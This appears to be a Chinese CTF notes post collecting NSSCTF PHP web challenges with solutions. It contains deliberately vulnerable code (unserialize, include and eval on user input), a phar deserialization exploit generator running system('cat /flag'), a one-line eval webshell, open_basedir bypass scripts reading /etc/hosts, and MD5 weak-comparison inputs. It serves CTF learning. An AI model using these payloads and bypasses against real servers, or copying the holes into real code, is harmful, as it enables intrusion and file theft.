NSS题记-web篇(2)

<?php

error_reporting(0);

class dxg

{

   function fmm()

   {

      return "nonono";

   }

}

class lt

{

   public $impo='hi';

   public $md51='weclome';

   public $md52='to NSS';

   function __construct()

   {

      $this->impo = new dxg;

   }

   function __wakeup()

   {

      $this->impo = new dxg;

      return $this->impo->fmm();

   }

   function __toString()

   {

      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)

         return $this->impo->fmm();

   }

   function __destruct()

   {

      echo $this;

   }

}

class fin

{

   public $a;

   public $url = 'https://www.ctfer.vip';

   public $title;

   function fmm()

   {

      $b = $this->a;

      $b($this->title);

   }

}

if (isset($_GET['NSS'])) {

   $Data = unserialize($_GET['NSS']);

} else {

   highlight_file(__file__);

}

//md5 ($this->md51) == md5 ($this->md52)  弱等于

// s155964671a  =md5=> 0e342768416822451524974117254469

// s214587387a  =md5=> 0e848240448830537924465865611904

<?php

//WEB 手要懂得搜索

if(isset($_GET['file'])){

    $file = $_GET['file'];

    if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){

        die("error");

    }

    include($file);

}else{

    highlight_file(__FILE__);

}

<?php

error_reporting(0);

highlight_file(__FILE__);

if (isset($_GET['get'])){

    $get=$_GET['get'];

    if(!strstr($get," ")){

        $get = str_ireplace("flag", " ", $get);

        if (strlen($get)>18){

            die("This is too long.");

            }

            else{

                eval($get);

          } 

    }else {

        die("nonono"); 

    }

}

?>

<?php

class LoveNss{

    public $ljt;

    public $dky;

    public $cmd;

    public function __construct(){

        $this->ljt="ljt";

        $this->dky="dky";

        phpinfo();

    }

    public function __destruct(){

        if($this->ljt==="Misc"&&$this->dky==="Re")

            eval($this->cmd);

    }

    public function __wakeup(){

        $this->ljt="Re";

        $this->dky="Misc";

    }

}

$file=$_POST['file'];

if(isset($_POST['file'])){

    echo file_get_contents($file);

}

<?php

if ($_FILES["file"]["error"] > 0){

    echo "上传异常";

}

else{

    $allowedExts = array("gif", "jpeg", "jpg", "png");

    $temp = explode(".", $_FILES["file"]["name"]);

    $extension = end($temp);

    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){

        $content=file_get_contents($_FILES["file"]["tmp_name"]);

        $pos = strpos($content, "__HALT_COMPILER();");

        if(gettype($pos)==="integer"){

            echo "ltj一眼就发现了phar";

        }else{

            if (file_exists("./upload/" . $_FILES["file"]["name"])){

                echo $_FILES["file"]["name"] . " 文件已经存在";

            }else{

                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");

                fwrite($myfile, $content);

                fclose($myfile);

                echo "上传成功 ./upload/".$_FILES["file"]["name"];

            }

        }

    }else{

        echo "dky不喜欢这个文件 .".$extension;

    }

}

?>

<?php

class LoveNss{

    public $ljt="Misc";

    public $dky="Re";

    public $cmd="system('cat /flag');";

}

$a = new LoveNss();

echo serialize($a);

# 下面这部分就没改

$phar = new Phar("phar.phar");

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置 stub

$phar->setMetadata($a); // 将自定义的 meta-data 存入 manifest

$phar->addFromString("test.txt", "test"); // 添加要压缩的文件

// 签名自动计算

$phar->stopBuffering();

from hashlib import sha1

with open('phar.phar', 'rb') as file:

    f = file.read() 

s = f[:-28] # 获取要签名的数据

h = f[-8:] # 获取签名类型和 GBMB 标识

newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)

with open('newtest.phar', 'wb') as file:

    file.write(newf) # 写入新文件

<?php

header("Content-Type:text/html;charset=utf-8");

error_reporting(0);

highlight_file(__FILE__);

if(isset($_GET['wllm']))

{

    $wllm = $_GET['wllm'];

    $blacklist = [' ','\^','\~','\|'];

    foreach ($blacklist as $blackitem)

    {

        if (preg_match('/' . $blackitem . '/m', $wllm)) {

        die("小伙子只会异或和取反？不好意思哦LTLT说不能用！！");

    }}

if(preg_match('/[a-zA-Z0-9]/is',$wllm))

{

    die("Ra'sAlGhul说用字母数字是没有灵魂的！");

}

echo "NoVic4说：不错哦小伙子，可你能拿到flag吗？";

eval($wllm);

}

else

{

    echo "蔡总说：注意审题！！！";

}

?> 蔡总说：注意审题！！！

eval($_POST[_]);

<?php

    print_r(ini_get('open_basedir').'<br>');

    $dir_array = array();

    $dir = new DirectoryIterator('glob:///*');

    foreach($dir as $d){

        $dir_array[] = $d->__toString();

    }

    $dir = new DirectoryIterator('glob:///.*');

    foreach($dir as $d){

        $dir_array[] = $d->__toString();

    }

    sort($dir_array);

    foreach($dir_array as $d){

        echo $d.' ';

    }

?>

<?php

print_r(ini_get('open_basedir').'<br>');

$dir_array = array();

$dir = new FilesystemIterator('glob:///*');

foreach($dir as $d){

    $dir_array[] = $d->__toString();

}

$dir = new FilesystemIterator('glob:///.*');

foreach($dir as $d){

    $dir_array[] = $d->__toString();

}

sort($dir_array);

foreach($dir_array as $d){

    echo $d.' ';

}

show_source(__FILE__);

?>

<?php

    show_source(__FILE__);

    print_r(ini_get('open_basedir').'<br>');

    mkdir('test');

    chdir('test');

    ini_set('open_basedir','..');

    chdir('..');

    chdir('..');

    chdir('..');

    ini_set('open_basedir','/');

    echo file_get_contents('/etc/hosts');

?>

<?php

    show_source(__FILE__);

    mkdir("1");chdir("1");

    mkdir("2");chdir("2");

    mkdir("3");chdir("3");

    mkdir("4");chdir("4");

    chdir("..");chdir("..");chdir("..");chdir("..");

    symlink("1/2/3/4","tmplink");

    symlink("tmplink/../../../../etc/hosts","bypass");

    unlink("tmplink");

    mkdir("tmplink");

    echo file_get_contents("bypass");

?>

<?php

    session_start();

    highlight_file(__FILE__);

    if(isset($_GET['num'])){

        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){

            echo ":D";

            $_SESSION['L1'] = 1;

        }else{

            echo ":C";

        }

    }

    if(isset($_GET['str'])){

        $str = preg_replace('/NSSCTF/',"",$_GET['str']);

        if($str === "NSSCTF"){

            echo "wow";

            $_SESSION['L2'] = 1;

        }else{

            echo $str;

        }

    }

    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){

        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){

            echo "Nice!";

            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){

                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){

                    echo "yoxi!";

                    $_SESSION['L3'] = 1;

                }else{

                    echo "X(";

                }

            }

        }else{

            echo "G";

            echo $_POST['md5_1']."\n".$_POST['md5_2'];

        }

    }

    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){

        include('flag.php');

        echo $flag;

    }

?>

:DwowNice!yoxi!NSSCTF{f0639d58-6fb2-4499-846a-a3ed3a929a5f}